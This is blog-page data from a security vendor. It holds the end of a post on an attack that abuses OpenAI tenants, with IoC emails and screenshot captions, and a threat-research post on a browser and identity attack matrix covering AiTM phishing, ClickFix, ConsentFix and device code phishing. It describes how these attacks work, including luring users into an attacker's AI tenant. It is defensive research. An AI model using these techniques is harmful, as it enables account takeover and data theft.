work.",{"data":5562,"content":5563,"nodeType":1005},{},[],{"data":5565,"content":5566,"nodeType":1009},{},[5567],{"data":5568,"marks":5569,"value":5571,"nodeType":864},{},[5570],{"type":899},"IoCs",{"data":5573,"content":5574,"nodeType":860},{},[5575],{"data":5576,"marks":5577,"value":5578,"nodeType":864},{},[],"We’ve identified the following emails associated with the campaign so far (at least, in terms of the attacks directly targeting Push):",{"data":5580,"content":5581,"nodeType":941},{},[5582,5592,5602],{"data":5583,"content":5584,"nodeType":945},{},[5585],{"data":5586,"content":5587,"nodeType":860},{},[5588],{"data":5589,"marks":5590,"value":5591,"nodeType":864},{},[],"phamvankim2133@gmail[.]com",{"data":5593,"content":5594,"nodeType":945},{},[5595],{"data":5596,"content":5597,"nodeType":860},{},[5598],{"data":5599,"marks":5600,"value":5601,"nodeType":864},{},[],"adam.bateman_928@faeththeraputics[.]email",{"data":5603,"content":5604,"nodeType":945},{},[5605],{"data":5606,"content":5607,"nodeType":860},{},[5608],{"data":5609,"marks":5610,"value":5611,"nodeType":864},{},[],"amelindashaffer99495@gmail[.]com",{"data":5613,"content":5614,"nodeType":860},{},[5615],{"data":5616,"marks":5617,"value":5618,"nodeType":864},{},[],"However, the real list is likely to be much larger. We’ve confirmed that similar messages have also been received by Push customers. But it's not like you can easily block access to the tenants themselves — they are \"legit\" OpenAI tenants, using the normal OpenAI domain. And since a new one is being spun up each time, no two attacks will look the same.",{"data":5620,"content":5621,"nodeType":1005},{},[],{"data":5623,"content":5624,"nodeType":860},{},[5625],{"data":5626,"marks":5627,"value":1682,"nodeType":864},{},[],{"data":5629,"content":5630,"nodeType":860},{},[5631],{"data":5632,"marks":5633,"value":1689,"nodeType":864},{},[],{"data":5635,"content":5636,"nodeType":860},{},[5637,5640,5648],{"data":5638,"marks":5639,"value":21,"nodeType":864},{},[],{"data":5641,"content":5643,"nodeType":883},{"uri":5642},"https://pushsecurity.com/demo/",[5644],{"data":5645,"marks":5646,"value":1703,"nodeType":864},{},[5647],{"type":1455},{"data":5649,"marks":5650,"value":21,"nodeType":864},{},[],{"entries":5652},{"hyperlink":5653,"inline":5654,"block":5655},[],[],[5656,5660,5667,5674,5680,5686,5692,5697,5704,5710],{"sys":5657,"__typename":1717,"type":1718,"ctaText":5658,"buttonLabel":5659,"buttonColour":1721,"buttonUrl":5243},{"id":4984},"Check out our browser and identity attacks matrix for a comprehensive overview of attack techniques using a MITRE-inspired mapping.","Check it out",{"sys":5661,"__typename":1724,"title":5248,"caption":5662,"layoutMode":59,"file":5663},{"id":4990},"Browser and identity-based techniques have exploded since we first launched our attack matrix",{"url":5664,"width":5665,"height":5666},"https://images.ctfassets.net/y1cdw1ablpvd/L0Yc77y9vzrKVD72BQGX2/4ffe0bf61bd62f025262b8efd74394b7/Browser___Identity_Attacks_Matrix__1_.png",6160,4432,{"sys":5668,"__typename":1724,"title":5669,"caption":5669,"layoutMode":59,"file":5670},{"id":5029},"Invitation email showing OpenAI branding, \"Push Security Inc\" org name, and the Gmail sender address",{"url":5671,"width":5672,"height":5673},"https://images.ctfassets.net/y1cdw1ablpvd/3eUI8n1hcCbP6nV2dZ2lLK/1f34b9057cafed9ef1472ea0902d84ac/image4.png",1833,775,{"sys":5675,"__typename":1724,"title":5676,"caption":5676,"layoutMode":59,"file":5677},{"id":5071},"\"Invite accepted\" confirmation page.",{"url":5678,"width":1736,"height":5679},"https://images.ctfassets.net/y1cdw1ablpvd/38N7FnCMSQz519ZXQfpXo4/f848d30b238b943a47efa29d12b68b87/image5.png",1031,{"sys":5681,"__typename":1724,"title":5682,"caption":5682,"layoutMode":59,"file":5683},{"id":5106},"Settings screen showing the organization name “Push Security Inc”.",{"url":5684,"width":1736,"height":5685},"https://images.ctfassets.net/y1cdw1ablpvd/3bRsNJecXnZPE2VNzS2gRy/5b715bb1b01af459885be77757c94953/image6.png",1129,{"sys":5687,"__typename":1724,"title":5688,"caption":59,"layoutMode":59,"file":5689},{"id":5112},"Members page showing the attacker's account and Luke's account.",{"url":5690,"width":1736,"height":5691},"https://images.ctfassets.net/y1cdw1ablpvd/6SXC65KKIl6Kh7jWj24fG7/930d892e37218a1e7f0bbed06edaea6e/image7.png",602,{"sys":5693,"__typename":1724,"title":5694,"caption":59,"layoutMode":59,"file":5695},{"id":5118},"Billing page showing attached Visa card.",{"url":5696,"width":1736,"height":5685},"https://images.ctfassets.net/y1cdw1ablpvd/6lXKx1sPEpoPSLP0vWkWmX/042ea3d7a259234bb0ac53f93e79ff99/image2.png",{"sys":5698,"__typename":1724,"title":5699,"caption":5699,"layoutMode":59,"file":5700},{"id":5139},"Several Push employees had been invited to the tenant. Because I was an admin, I could also choose to resend the invites or remove them.",{"url":5701,"width":5702,"height":5703},"https://images.ctfassets.net/y1cdw1ablpvd/4XMXNGxkUOZc8OJIEvAR5X/e51c2460775d712732f6a59bef28d018/image3.png",1936,1428,{"sys":5705,"__typename":1724,"title":5706,"caption":5706,"layoutMode":59,"file":5707},{"id":5341},"The LLMShare attack we recently disclosed also leveraged ChatGPT as a platform to distribute malware.",{"url":5708,"width":1736,"height":5709},"https://images.ctfassets.net/y1cdw1ablpvd/5grmZOTXQcb1uDHhMw8e20/239aece66c5f29745dd2a77fd288de49/image1.png",875,{"sys":5711,"__typename":1740,"content":5712,"name":5735,"title":59},{"id":5354},{"json":5713},{"data":5714,"content":5715,"nodeType":856},{},[5716],{"data":5717,"content":5718,"nodeType":860},{},[5719,5723,5731],{"data":5720,"marks":5721,"value":5722,"nodeType":864},{},[],"AI apps are increasingly the ",{"data":5724,"content":5725,"nodeType":883},{"uri":885},[5726],{"data":5727,"marks":5728,"value":5730,"nodeType":864},{},[5729],{"type":1455},"work hub for modern enterprise users",{"data":5732,"marks":5733,"value":5734,"nodeType":864},{},[],", even more so than something like M365 or Google Workspace once was. AI apps acting as the control plane for automation and orchestration across business apps are a security nightmare if compromised — if a user could be tricked into using the attacker’s tenant, connecting it to business apps and accounts, and then inadvertently running malicious instructions, the possible attack scenarios are extensive. ","OpenAI poisoned tenant IB1",{"items":5737},[],{},"Investigating a novel OpenAI poisoned tenant attack","threat-research","2026-06-26T00:00:00.000Z",{"items":5743},[5744,6601,7409],{"__typename":2059,"sys":5745,"content":5747,"title":6584,"synopsis":6585,"hashTags":59,"publishedDate":6586,"slug":6587,"tagsCollection":6588,"authorsCollection":6597},{"id":5746},"211Dd0EIrXPOFpvRgs0fEE",{"json":5748},{"data":5749,"content":5750,"nodeType":856},{},[5751,5770,5789,5806,5812,5815,5823,5830,5837,5844,5851,5859,5862,5870,5877,5884,5891,5897,5905,5924,5931,5938,5954,5962,5992,6008,6015,6046,6054,6085,6092,6100,6118,6125,6132,6138,6145,6153,6171,6178,6197,6204,6207,6215,6222,6309,6316,6332,6335,6365,6384,6391,6398,6401,6409,6428,6435,6442,6459,6462,6470,6477,6510,6517,6534,6553,6559,6562,6569],{"data":5752,"content":5753,"nodeType":860},{},[5754,5758,5766],{"data":5755,"marks":5756,"value":5757,"nodeType":864},{},[],"When we released the ",{"data":5759,"content":5761,"nodeType":883},{"uri":5760},"https://pushsecurity.com/blog/saas-attack-techniques/",[5762],{"data":5763,"marks":5764,"value":5765,"nodeType":864},{},[],"SaaS attack matrix",{"data":5767,"marks":5768,"value":5769,"nodeType":864},{},[]," in 2023, we were anticipating a shift that was just beginning to take shape. The techniques that attackers were using to compromise cloud applications and identities weren't well represented in existing frameworks, and many of the ones we documented hadn't yet been widely observed in the wild.",{"data":5771,"content":5772,"nodeType":860},{},[5773,5777,5785],{"data":5774,"marks":5775,"value":5776,"nodeType":864},{},[],"A year later, we ",{"data":5778,"content":5780,"nodeType":883},{"uri":5779},"https://pushsecurity.com/blog/the-saas-attack-matrix-one-year-on/",[5781],{"data":5782,"marks":5783,"value":5784,"nodeType":864},{},[],"reviewed what had changed",{"data":5786,"marks":5787,"value":5788,"nodeType":864},{},[]," and found that the initial access phase — the techniques designed to compromise an identity in the first place — was where almost all of the attacker innovation was concentrated. And two years on, that trend has become the story of the modern threat landscape. ",{"data":5790,"content":5791,"nodeType":860},{},[5792,5796,5802],{"data":5793,"marks":5794,"value":5795,"nodeType":864},{},[],"Today, we're re-releasing the matrix as the ",{"data":5797,"content":5798,"nodeType":883},{"uri":5243},[5799],{"data":5800,"marks":5801,"value":5248,"nodeType":864},{},[],{"data":5803,"marks":5804,"value":5805,"nodeType":864},{},[],". The name change isn't cosmetic. It reflects that the attacks driving the most consequential breaches are browser-based and identity-first.",{"data":5807,"content":5811,"nodeType":996},{"target":5808},{"sys":5809},{"id":5810,"type":1001,"linkType":1002},"MSnrBRJtiQxpv2qxFLCVE",[],{"data":5813,"content":5814,"nodeType":1005},{},[],{"data":5816,"content":5817,"nodeType":1009},{},[5818],{"data":5819,"marks":5820,"value":5822,"nodeType":864},{},[5821],{"type":899},"Why the scope needed to change",{"data":5824,"content":5825,"nodeType":860},{},[5826],{"data":5827,"marks":5828,"value":5829,"nodeType":864},{},[],"The original SaaS attack matrix was built around a specific insight: that attacks targeting modern business applications played out entirely over the internet, without touching endpoints or internal networks in any way that EDR or network detection tools would recognize.",{"data":5831,"content":5832,"nodeType":860},{},[5833],{"data":5834,"marks":5835,"value":5836,"nodeType":864},{},[],"That framing was useful, and it remains true. But it anchored the matrix to the post-access phase — what attackers do once they're inside a SaaS application — and didn't give enough weight to the initial access techniques that determine whether attackers get there in the first place.",{"data":5838,"content":5839,"nodeType":860},{},[5840],{"data":5841,"marks":5842,"value":5843,"nodeType":864},{},[],"The problem is that initial access is where the overwhelming majority of attacker innovation and investment is concentrated, and the techniques being used to achieve it are best understood as browser and identity attacks rather than SaaS-specific ones. AiTM phishing, ClickFix and its growing family of clipboard-injection variants, device code phishing, OAuth consent abuse, credential stuffing powered by infostealer supply chains, malicious browser extensions all happen in or via the browser.",{"data":5845,"content":5846,"nodeType":860},{},[5847],{"data":5848,"marks":5849,"value":5850,"nodeType":864},{},[],"Another issue is that \"SaaS\" has arguably ceased to be a meaningful category. When we consider that most organizations run the majority of their business on cloud applications, the difference between what constitutes \"SaaS\" versus cloud versus just \"business IT\" is pretty blurry (and feels like an academic rather than practical difference).",{"data":5852,"content":5853,"nodeType":860},{},[5854],{"data":5855,"marks":5856,"value":5858,"nodeType":864},{},[5857],{"type":899},"So it's less about whether an attack is a \"SaaS attack\" and more about how these attacks actually play out. ",{"data":5860,"content":5861,"nodeType":1005},{},[],{"data":5863,"content":5864,"nodeType":1009},{},[5865],{"data":5866,"marks":5867,"value":5869,"nodeType":864},{},[5868],{"type":899},"The technique landscape has transformed",{"data":5871,"content":5872,"nodeType":860},{},[5873],{"data":5874,"marks":5875,"value":5876,"nodeType":864},{},[],"The second part to the change is the fact that scale and speed of attacker innovation in the space justifies it.",{"data":5878,"content":5879,"nodeType":860},{},[5880],{"data":5881,"marks":5882,"value":5883,"nodeType":864},{},[],"When we launched the matrix in mid-2023, AiTM phishing was emerging as a serious concern but was far from ubiquitous. ClickFix didn't exist as a named technique. Device code phishing was a curiosity documented by a handful of researchers. ConsentFix was years away from being discovered. Browser extension supply chain attacks were rare enough to be individually notable.",{"data":5885,"content":5886,"nodeType":860},{},[5887],{"data":5888,"marks":5889,"value":5890,"nodeType":864},{},[],"In the two and a half years since, every one of these has become a mainstream, industrialized attack technique — and several have converged in ways that would have been hard to predict.",{"data":5892,"content":5896,"nodeType":996},{"target":5893},{"sys":5894},{"id":5895,"type":1001,"linkType":1002},"5Kw2kSrL8u4VyslxK8HCtR",[],{"data":5898,"content":5899,"nodeType":1312},{},[5900],{"data":5901,"marks":5902,"value":5904,"nodeType":864},{},[5903],{"type":899},"AiTM phishing has become the default phishing method",{"data":5906,"content":5907,"nodeType":860},{},[5908,5912,5920],{"data":5909,"marks":5910,"value":5911,"nodeType":864},{},[],"AiTM phishing is now the standard, powered by Phishing-as-a-Service kits that operate with the release cycles and customer support of legitimate SaaS products. Tycoon 2FA alone accounted for ",{"data":5913,"content":5915,"nodeType":883},{"uri":5914},"https://pushsecurity.com/blog/2025-top-phishing-trends/",[5916],{"data":5917,"marks":5918,"value":5919,"nodeType":864},{},[],"62% of phishing detected by Microsoft",{"data":5921,"marks":5922,"value":5923,"nodeType":864},{},[]," and over 64,000 confirmed incidents, with Sneaky2FA, FlowerStorm, Evilginx, and a growing roster of competitors filling out the marketplace.",{"data":5925,"content":5926,"nodeType":860},{},[5927],{"data":5928,"marks":5929,"value":5930,"nodeType":864},{},[],"AiTM is constantly evolving, with vendors adding new features, capabilities, detection evasion techniques, and so on. Abuse of legitimate platforms, and increasingly AI-assisted development means that it’s trivial for attackers to spin up and tear down infrastructure, scale their campaigns, target specific organizations with crafted pages and lures, and generally means that attackers can operate highly sophisticated attacks with minimal effort and complexity. This makes AiTM and other PhaaS-powered techniques extremely accessible to all kinds of criminals.  ",{"data":5932,"content":5933,"nodeType":860},{},[5934],{"data":5935,"marks":5936,"value":5937,"nodeType":864},{},[],"These kits are delivered across several browser-based channels — not just email. Push data consistently shows that roughly 1 in 3 phishing payloads we intercept arrive via social media, search ads, messaging apps, or other non-email vectors.",{"data":5939,"content":5940,"nodeType":860},{},[5941,5945,5950],{"data":5942,"marks":5943,"value":5944,"nodeType":864},{},[],"Vishing has also surged as a delivery channel — CrowdStrike documented a ",{"data":5946,"marks":5947,"value":5949,"nodeType":864},{},[5948],{"type":899},"442% year-over-year increase",{"data":5951,"marks":5952,"value":5953,"nodeType":864},{},[],", and Mandiant found it was the single most common initial vector in cloud compromises at 23%. But the trend that matters isn't voice calls in isolation; it's voice calls combined with browser-based payloads, where a live operator guides the victim into an AiTM page or device code flow that the call alone could not execute.",{"data":5955,"content":5956,"nodeType":1312},{},[5957],{"data":5958,"marks":5959,"value":5961,"nodeType":864},{},[5960],{"type":899},"ClickFix is the top reported initial access vector",{"data":5963,"content":5964,"nodeType":860},{},[5965,5969,5977,5981,5988],{"data":5966,"marks":5967,"value":5968,"nodeType":864},{},[],"ClickFix has gone from nonexistent to one of the most prevalent initial access techniques in under 18 months. Microsoft reported it as the ",{"data":5970,"content":5972,"nodeType":883},{"uri":5971},"https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/msc/documents/presentations/CSR/Microsoft-Digital-Defense-Report-2025.pdf",[5973],{"data":5974,"marks":5975,"value":5976,"nodeType":864},{},[],"most common initial access vector in 2025",{"data":5978,"marks":5979,"value":5980,"nodeType":864},{},[],", accounting for 47% of observed attacks, while CrowdStrike documented a ",{"data":5982,"content":5983,"nodeType":883},{"uri":3237},[5984],{"data":5985,"marks":5986,"value":5987,"nodeType":864},{},[],"563% increase",{"data":5989,"marks":5990,"value":5991,"nodeType":864},{},[]," in fake CAPTCHA lures (a top ClickFix style).",{"data":5993,"content":5994,"nodeType":860},{},[5995,5999,6004],{"data":5996,"marks":5997,"value":5998,"nodeType":864},{},[],"ClickFix is admittedly an outlier in a browser attacks matrix — the payload ultimately executes on the endpoint, not in the browser — but the delivery is overwhelmingly browser-based: ",{"data":6000,"marks":6001,"value":6003,"nodeType":864},{},[6002],{"type":899},"4 in 5 ClickFix payloads",{"data":6005,"marks":6006,"value":6007,"nodeType":864},{},[]," intercepted by Push arrive via search engines as a result of malvertising or compromised web pages, not email, which means the browser is the only control point that actually sees the attack before the user pastes the malicious command.",{"data":6009,"content":6010,"nodeType":860},{},[6011],{"data":6012,"marks":6013,"value":6014,"nodeType":864},{},[],"ClickFix is now the primary delivery mechanism for infostealer malware, which is in turn the primary source of the stolen credentials and session tokens that power credential stuffing and session hijacking — which means the technique sits at the start of a cycle where one class of browser-delivered attack generates the raw material for the next.",{"data":6016,"content":6017,"nodeType":860},{},[6018,6022,6030,6034,6042],{"data":6019,"marks":6020,"value":6021,"nodeType":864},{},[],"The success of ClickFix has predictably spawned a growing family of derivatives — FileFix, CrashFix, ",{"data":6023,"content":6025,"nodeType":883},{"uri":6024},"https://pushsecurity.com/blog/installfix/",[6026],{"data":6027,"marks":6028,"value":6029,"nodeType":864},{},[],"InstallFix",{"data":6031,"marks":6032,"value":6033,"nodeType":864},{},[]," — and much of the naming is marketing hype around variations on the same clipboard-injection mechanic. But ",{"data":6035,"content":6037,"nodeType":883},{"uri":6036},"https://pushsecurity.com/blog/consentfix/",[6038],{"data":6039,"marks":6040,"value":6041,"nodeType":864},{},[],"ConsentFix",{"data":6043,"marks":6044,"value":6045,"nodeType":864},{},[]," was a genuinely novel development.",{"data":6047,"content":6048,"nodeType":1312},{},[6049],{"data":6050,"marks":6051,"value":6053,"nodeType":864},{},[6052],{"type":899},"Browser-native ClickFix: ConsentFix",{"data":6055,"content":6056,"nodeType":860},{},[6057,6061,6069,6073,6081],{"data":6058,"marks":6059,"value":6060,"nodeType":864},{},[],"ConsentFix is a fully browser-native attack that merged ClickFix-style social engineering with OAuth consent abuse, compromising accounts through a legitimate Microsoft authorization flow with no endpoint component at all. ConsentFix was ",{"data":6062,"content":6064,"nodeType":883},{"uri":6063},"https://pushsecurity.com/blog/consentfix-debrief/",[6065],{"data":6066,"marks":6067,"value":6068,"nodeType":864},{},[],"traced to APT29",{"data":6070,"marks":6071,"value":6072,"nodeType":864},{},[]," and has since been ",{"data":6074,"content":6076,"nodeType":883},{"uri":6075},"https://pushsecurity.com/blog/consentfix-v3-analyzing-a-new-toolkit/",[6077],{"data":6078,"marks":6079,"value":6080,"nodeType":864},{},[],"commercialized on criminal forums",{"data":6082,"marks":6083,"value":6084,"nodeType":864},{},[],", following the same path from state-sponsored technique to commodity criminal tooling that we've seen repeatedly in this space.",{"data":6086,"content":6087,"nodeType":860},{},[6088],{"data":6089,"marks":6090,"value":6091,"nodeType":864},{},[],"ConsentFix demonstrates that the clipboard-injection mechanic can evolve into something that operates entirely within the browser, eliminating the endpoint detection surface that traditional ClickFix still exposed.",{"data":6093,"content":6094,"nodeType":1312},{},[6095],{"data":6096,"marks":6097,"value":6099,"nodeType":864},{},[6098],{"type":899},"Attackers have pivoted to authorization attacks to get around login controls",{"data":6101,"content":6102,"nodeType":860},{},[6103,6107,6114],{"data":6104,"marks":6105,"value":6106,"nodeType":864},{},[],"Authorization attacks like device code phishing have seen a ",{"data":6108,"content":6109,"nodeType":883},{"uri":3259},[6110],{"data":6111,"marks":6112,"value":6113,"nodeType":864},{},[],"37.5x increase",{"data":6115,"marks":6116,"value":6117,"nodeType":864},{},[]," since the start of 2026, with at least 12 distinct kits now offering the technique. It bypasses standard authentication controls — including passkeys — because the attack occurs through the OAuth device authorization flow rather than the standard login flow. ",{"data":6119,"content":6120,"nodeType":860},{},[6121],{"data":6122,"marks":6123,"value":6124,"nodeType":864},{},[],"The technique was first associated with nation-state actors like Storm-2372, but went from espionage-grade to commodity PhaaS tooling in roughly eighteen months, with kits like EvilTokens and Venom now offering turnkey device code phishing as a service.",{"data":6126,"content":6127,"nodeType":860},{},[6128],{"data":6129,"marks":6130,"value":6131,"nodeType":864},{},[],"The device code authorization is effectively performed post-authentication. If you already have an active session in your browser, entering the device code and selecting your account from a drop-down menu is all that's needed. No password or MFA required. You can see an example in the video below.",{"data":6133,"content":6137,"nodeType":996},{"target":6134},{"sys":6135},{"id":6136,"type":1001,"linkType":1002},"2WPb41lNRajdpt5pogQg8M",[],{"data":6139,"content":6140,"nodeType":860},{},[6141],{"data":6142,"marks":6143,"value":6144,"nodeType":864},{},[],"And the ecosystem is adapting to this opportunity: established AiTM vendors like Tycoon are adding authorization-focused options alongside their existing credential-harvesting capabilities, which points toward multi-technique platforms where operators pick the right tool for whatever defenses the target has in place.",{"data":6146,"content":6147,"nodeType":1312},{},[6148],{"data":6149,"marks":6150,"value":6152,"nodeType":864},{},[6151],{"type":899},"Malicious and hacked browser extensions are one of the fastest growing threats",{"data":6154,"content":6155,"nodeType":860},{},[6156,6160,6167],{"data":6157,"marks":6158,"value":6159,"nodeType":864},{},[],"Malicious browser extensions have matured from an occasional nuisance into a scalable supply chain attack vector. The ",{"data":6161,"content":6162,"nodeType":883},{"uri":2411},[6163],{"data":6164,"marks":6165,"value":6166,"nodeType":864},{},[],"Cyberhaven compromise",{"data":6168,"marks":6169,"value":6170,"nodeType":864},{},[]," in December 2024 — where approximately 35 extensions were weaponized through a single OAuth phishing campaign targeting developers — impacted 2.6 million users and demonstrated that extension supply chain attacks can achieve the kind of reach that used to require a compromised software update server.",{"data":6172,"content":6173,"nodeType":860},{},[6174],{"data":6175,"marks":6176,"value":6177,"nodeType":864},{},[],"Since Cyberhaven, the pace has only accelerated. In 2026 alone, researchers have publicly disclosed at least 250 confirmed malicious browser extensions affecting roughly 1.75 million users, alongside a further 370+ extensions engaged in undisclosed or policy-disclosed data harvesting affecting an additional 44 million users. That doesn't count the extensions from late-2025 campaigns (DarkSpectre, AITOPIA, Trust Wallet) whose impacts carried into 2026.",{"data":6179,"content":6180,"nodeType":860},{},[6181,6185,6193],{"data":6182,"marks":6183,"value":6184,"nodeType":864},{},[],"The attack paths have also expanded. Beyond phishing developers for take over Web Store accounts (the Cyberhaven playbook), attackers are buying existing extensions from developers, waiting for ownership transfers or abandonments to take over, and increasingly vibe-coding their own functional extensions from scratch to build an audience that can later be weaponized. The common thread is that ",{"data":6186,"content":6187,"nodeType":883},{"uri":2411},[6188],{"data":6189,"marks":6190,"value":6192,"nodeType":864},{},[6191],{"type":1455},"most malicious extensions didn't start out malicious",{"data":6194,"marks":6195,"value":6196,"nodeType":864},{},[]," — they started as legitimate tools and were turned into weapons after the fact.",{"data":6198,"content":6199,"nodeType":860},{},[6200],{"data":6201,"marks":6202,"value":6203,"nodeType":864},{},[],"None of this is happening in isolation. The threat landscape has reoriented around browser-based initial access and identity compromise — and the matrix needed to catch up.",{"data":6205,"content":6206,"nodeType":1005},{},[],{"data":6208,"content":6209,"nodeType":1009},{},[6210],{"data":6211,"marks":6212,"value":6214,"nodeType":864},{},[6213],{"type":899},"The evolution is playing out in public breaches",{"data":6216,"content":6217,"nodeType":860},{},[6218],{"data":6219,"marks":6220,"value":6221,"nodeType":864},{},[],"It’s worth reinforcing that when the SaaS matrix was first released, many of these attacks hadn’t been seen in the wild. The change today is staggering:",{"data":6223,"content":6224,"nodeType":941},{},[6225,6247,6269,6289],{"data":6226,"content":6227,"nodeType":945},{},[6228],{"data":6229,"content":6230,"nodeType":860},{},[6231,6235,6243],{"data":6232,"marks":6233,"value":6234,"nodeType":864},{},[],"When ",{"data":6236,"content":6238,"nodeType":883},{"uri":6237},"https://pushsecurity.com/blog/scattered-lapsus-hunters/",[6239],{"data":6240,"marks":6241,"value":6242,"nodeType":864},{},[],"Scattered Lapsus$ Hunters",{"data":6244,"marks":6245,"value":6246,"nodeType":864},{},[]," compromised over a thousand organizations' Salesforce tenants through device code phishing, the attack started with a phone call, moved through a browser-based authorization flow for the attacker’s app, and ended with mass data exfiltration via API.",{"data":6248,"content":6249,"nodeType":945},{},[6250],{"data":6251,"content":6252,"nodeType":860},{},[6253,6257,6265],{"data":6254,"marks":6255,"value":6256,"nodeType":864},{},[],"When the same collective launched ",{"data":6258,"content":6260,"nodeType":883},{"uri":6259},"https://pushsecurity.com/blog/unpacking-the-latest-slh-campaign/",[6261],{"data":6262,"marks":6263,"value":6264,"nodeType":864},{},[],"AiTM phishing campaigns",{"data":6266,"marks":6267,"value":6268,"nodeType":864},{},[]," targeting Okta and Entra SSO, the phishing page was operated by a human in real time and delivered over a voice call — not email.",{"data":6270,"content":6271,"nodeType":945},{},[6272],{"data":6273,"content":6274,"nodeType":860},{},[6275,6278,6285],{"data":6276,"marks":6277,"value":6234,"nodeType":864},{},[],{"data":6279,"content":6280,"nodeType":883},{"uri":6036},[6281],{"data":6282,"marks":6283,"value":6284,"nodeType":864},{},[],"APT29 deployed ConsentFix",{"data":6286,"marks":6287,"value":6288,"nodeType":864},{},[]," across dozens of compromised websites, the entire attack chain was browser-native, abusing a legitimate Microsoft OAuth flow to bypass MFA without proxying a single credential.",{"data":6290,"content":6291,"nodeType":945},{},[6292],{"data":6293,"content":6294,"nodeType":860},{},[6295,6298,6305],{"data":6296,"marks":6297,"value":2761,"nodeType":864},{},[],{"data":6299,"content":6301,"nodeType":883},{"uri":6300},"https://pushsecurity.com/blog/identity-attacks-in-the-wild/#id-snowflake-june-2024",[6302],{"data":6303,"marks":6304,"value":3756,"nodeType":864},{},[],{"data":6306,"marks":6307,"value":6308,"nodeType":864},{},[]," — arguably the most consequential credential-based campaign of the past several years — saw 165 organizations breached using credentials that had been sitting in infostealer dumps for years, replayed against Snowflake tenants that lacked mandatory MFA. The attack surface wasn't Snowflake's application logic; it was the identity hygiene gap that every organization carries across hundreds of apps.",{"data":6310,"content":6311,"nodeType":860},{},[6312],{"data":6313,"marks":6314,"value":6315,"nodeType":864},{},[],"And that’s just the big picture. Every month we’re tracking new public breaches involving browser and identity TTPs — which again, are just the tip of the iceberg when you consider that many breaches are settled quietly without hitting the headlines. ",{"data":6317,"content":6318,"nodeType":860},{},[6319,6323,6328],{"data":6320,"marks":6321,"value":6322,"nodeType":864},{},[],"One of the key drivers here is the shrinking time-to-exploit. CrowdStrike's average e-crime breakout time is down to ",{"data":6324,"marks":6325,"value":6327,"nodeType":864},{},[6326],{"type":899},"29 minutes",{"data":6329,"marks":6330,"value":6331,"nodeType":864},{},[],", with the fastest recorded at 27 seconds. When attackers can move from initial access to data exfiltration within minutes, the window for post-compromise detection collapses to near zero. The best chance of stopping the attack is at the point of initial access before the identity is compromised.",{"data":6333,"content":6334,"nodeType":1005},{},[],{"data":6336,"content":6337,"nodeType":1009},{},[6338,6343,6349,6354,6360],{"data":6339,"marks":6340,"value":6342,"nodeType":864},{},[6341],{"type":899},"Sidenote: why we're looking at attacks ",{"data":6344,"marks":6345,"value":6348,"nodeType":864},{},[6346,6347],{"type":2246},{"type":899},"in",{"data":6350,"marks":6351,"value":6353,"nodeType":864},{},[6352],{"type":899}," the browser, not ",{"data":6355,"marks":6356,"value":6359,"nodeType":864},{},[6357,6358],{"type":2246},{"type":899},"on",{"data":6361,"marks":6362,"value":6364,"nodeType":864},{},[6363],{"type":899}," the browser",{"data":6366,"content":6367,"nodeType":860},{},[6368,6372,6380],{"data":6369,"marks":6370,"value":6371,"nodeType":864},{},[],"Calling this a \"browser attacks\" matrix needs clarification. We're not talking about browser exploits — RCE vulnerabilities, sandbox escapes, memory corruption bugs. Those attacks target the browser itself, they're extraordinarily expensive to develop, and they're increasingly rare. Browser zero-days hit a ",{"data":6373,"content":6375,"nodeType":883},{"uri":6374},"https://cloud.google.com/blog/topics/threat-intelligence/2025-zero-day-review",[6376],{"data":6377,"marks":6378,"value":6379,"nodeType":864},{},[],"historic low of 9%",{"data":6381,"marks":6382,"value":6383,"nodeType":864},{},[]," of all zero-days reported to Google, and a Chrome RCE commands a $250,000 bug bounty.",{"data":6385,"content":6386,"nodeType":860},{},[6387],{"data":6388,"marks":6389,"value":6390,"nodeType":864},{},[],"In comparison, a one-year phishing kit rental costs $1,000. A bulk stolen credential list costs $15. An initial-access-broker-provided IdP admin account costs $3,000. When it costs orders of magnitude less to exploit the person using the browser than to exploit the browser itself, attackers will take the cheaper option every time.",{"data":6392,"content":6393,"nodeType":860},{},[6394],{"data":6395,"marks":6396,"value":6397,"nodeType":864},{},[],"It's worth heading off the obvious counterargument: won't AI-assisted vulnerability discovery eventually make browser exploits cheaper? Perhaps — but it will simultaneously make them easier for browser vendors to find and patch, and vendors like Google and Microsoft have the engineering capacity and financial incentive to scale AI-driven remediation far faster than attackers can scale exploit development.",{"data":6399,"content":6400,"nodeType":1005},{},[],{"data":6402,"content":6403,"nodeType":1009},{},[6404],{"data":6405,"marks":6406,"value":6408,"nodeType":864},{},[6407],{"type":899},"What hasn't changed",{"data":6410,"content":6411,"nodeType":860},{},[6412,6416,6424],{"data":6413,"marks":6414,"value":6415,"nodeType":864},{},[],"The matrix remains open-source, community-maintained, and available on ",{"data":6417,"content":6419,"nodeType":883},{"uri":6418},"https://github.com/pushsecurity/saas-attacks",[6420],{"data":6421,"marks":6422,"value":6423,"nodeType":864},{},[],"GitHub",{"data":6425,"marks":6426,"value":6427,"nodeType":864},{},[],". The goal is the same as it was in 2023: to give offensive and defensive security teams a shared reference point for the techniques that matter most.",{"data":6429,"content":6430,"nodeType":860},{},[6431],{"data":6432,"marks":6433,"value":6434,"nodeType":864},{},[],"We built it because there was a gap in how the industry talked about these techniques, and that gap still exists — MITRE ATT&CK remains essential for endpoint and network TTPs, but the browser-based, identity-first techniques behind most modern breaches are still underrepresented in traditional frameworks.",{"data":6436,"content":6437,"nodeType":860},{},[6438],{"data":6439,"marks":6440,"value":6441,"nodeType":864},{},[],"We continue to maintain the matrix with input from red teams, detection engineers, and threat researchers across the community. Some of the most valuable additions over the past two years have come from practitioners who encountered a technique on an engagement or in an investigation and contributed it back to the repository.",{"data":6443,"content":6444,"nodeType":860},{},[6445,6449,6456],{"data":6446,"marks":6447,"value":6448,"nodeType":864},{},[],"If you're an offensive security professional using these techniques on engagements, or a defender building detections against them, we want to hear from you. Submit a PR, open a discussion, or flag a technique we've missed on ",{"data":6450,"content":6452,"nodeType":883},{"uri":6451},"https://github.com/pushsecurity/browser-identity-attacks-matrix",[6453],{"data":6454,"marks":6455,"value":6423,"nodeType":864},{},[],{"data":6457,"marks":6458,"value":2924,"nodeType":864},{},[],{"data":6460,"content":6461,"nodeType":1005},{},[],{"data":6463,"content":6464,"nodeType":1009},{},[6465],{"data":6466,"marks":6467,"value":6469,"nodeType":864},{},[6468],{"type":899},"Looking ahead",{"data":6471,"content":6472,"nodeType":860},{},[6473],{"data":6474,"marks":6475,"value":6476,"nodeType":864},{},[],"The pace of attacker innovation in browser-based initial access techniques over the past 18 months has been unlike anything we've tracked before — technique after technique moving from research curiosity to industrialized criminal 